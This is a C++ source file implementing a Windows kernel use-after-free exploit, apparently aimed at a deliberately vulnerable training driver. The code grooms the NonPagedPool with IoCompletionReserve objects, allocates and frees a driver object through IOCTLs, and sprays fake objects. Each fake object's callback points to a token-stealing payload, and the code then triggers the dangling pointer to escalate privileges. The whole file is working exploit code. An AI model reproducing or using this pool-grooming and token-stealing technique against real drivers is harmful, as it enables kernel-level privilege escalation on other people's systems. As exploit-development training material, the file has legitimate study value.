UseAfterFree.cpp

#include "UseAfterFree.h"

bool 
ExploitUseAfterFree::exploit() {
	
	DWORD dummy = 0;
	
	struct FakeObject {
		void *callback;
		unsigned char buffer[0x54];
	};
	
	FakeObject obj;
	memset(&obj, 0x43, sizeof(obj));
	obj.callback = tokenStealingPayloadRealPointer;
	
	m_handles.reset(new HANDLE[Max_Number_Of_Objects]);
	if(!m_handles) {
		throw bad_alloc();
	}
		
	memset(m_handles.get(), 0xFF, sizeof(HANDLE) * Max_Number_Of_Objects);
	
	wcout << L"[+] Step 1: Derandomizing kernel NonPagedPool..." << endl;
	if(!derandomizePool()) {
		return false;
	}

	wcout << L"[+] Step 2: Allocate Use-After-Free vulnerable object..." << endl;
	bool ret = driver.SendIOCTLQuiet (
		ExploitUseAfterFree::Ioctl_Code_Allocate,
		&dummy,
		sizeof(dummy)
	);

	wcout << L"[+] Step 3: Free that just allocated object to introduce dangling-pointer" << endl;
	ret = driver.SendIOCTLQuiet (
		ExploitUseAfterFree::Ioctl_Code_Free,
		&dummy,
		sizeof(dummy)
	);
	
	wcout << L"[+] Step 4: Spraying fake objects in NonPagedPool..." << endl;
	for(size_t i = 0; i < (Max_Number_Of_Objects / 3); i++ ) {
		driver.SendIOCTLQuiet (
			ExploitUseAfterFree::Ioctl_Code_Alloc_Fake_Object,
			&obj,
			sizeof(obj)
		);
	}
		
	wcout << L"[+] Step 5: Triggering Use-After-Free..." << endl;
	ret = driver.SendIOCTL (
		ExploitUseAfterFree::Ioctl_Code_Use,
		&dummy,
		sizeof(dummy)
	);
	
	return ret;
}

bool 
ExploitUseAfterFree::derandomizePool() {
	
	typeNtAllocateReserveObject NtAllocateReserveObject;
	NtAllocateReserveObject  = reinterpret_cast<typeNtAllocateReserveObject>(GetProcAddress(
		GetModuleHandleW(L"ntdll.dll"), 
		"NtAllocateReserveObject"
	));
	
	if(!NtAllocateReserveObject) {
		wcout << L"[!] Could not find address of: `NtAllocateReserveObject` syscall. System version not supported."
			<< endl;
		return false;
	}
	
	wcout << L"\t* Allocating " << dec << Max_Number_Of_Objects 
		<< L" IoCompletionReserve objects in NonPagedPool..." << endl;
		
	for(size_t i = 0; i < Max_Number_Of_Objects; i++ ) {
		NTSTATUS stat = NtAllocateReserveObject(
			&m_handles.get()[i],
			0,
			IoCompletionReserve
		);
		
		if(!NT_SUCCESS(stat)) {
			wcout << L"[!] " << dec << i << L". attempt to allocate IoCompletionReserve object failed." << endl
				<< L"\tError: " << hex << setw(8) << setfill(L'0') << stat << endl;
			return false;
		}
	}
	
	wcout << L"\t* Freeing every second object out of " << dec 
		<< (Max_Number_Of_Objects / 2)
		<< L" for purpose of pool grooming." << endl;
		
	for(size_t i = (Max_Number_Of_Objects / 2); 
		i < (Max_Number_Of_Objects); 
		i += 2 
	) {
		CloseHandle(m_handles.get()[i]);
		m_handles.get()[i] = INVALID_HANDLE_VALUE;
	}
	
	return true;	
}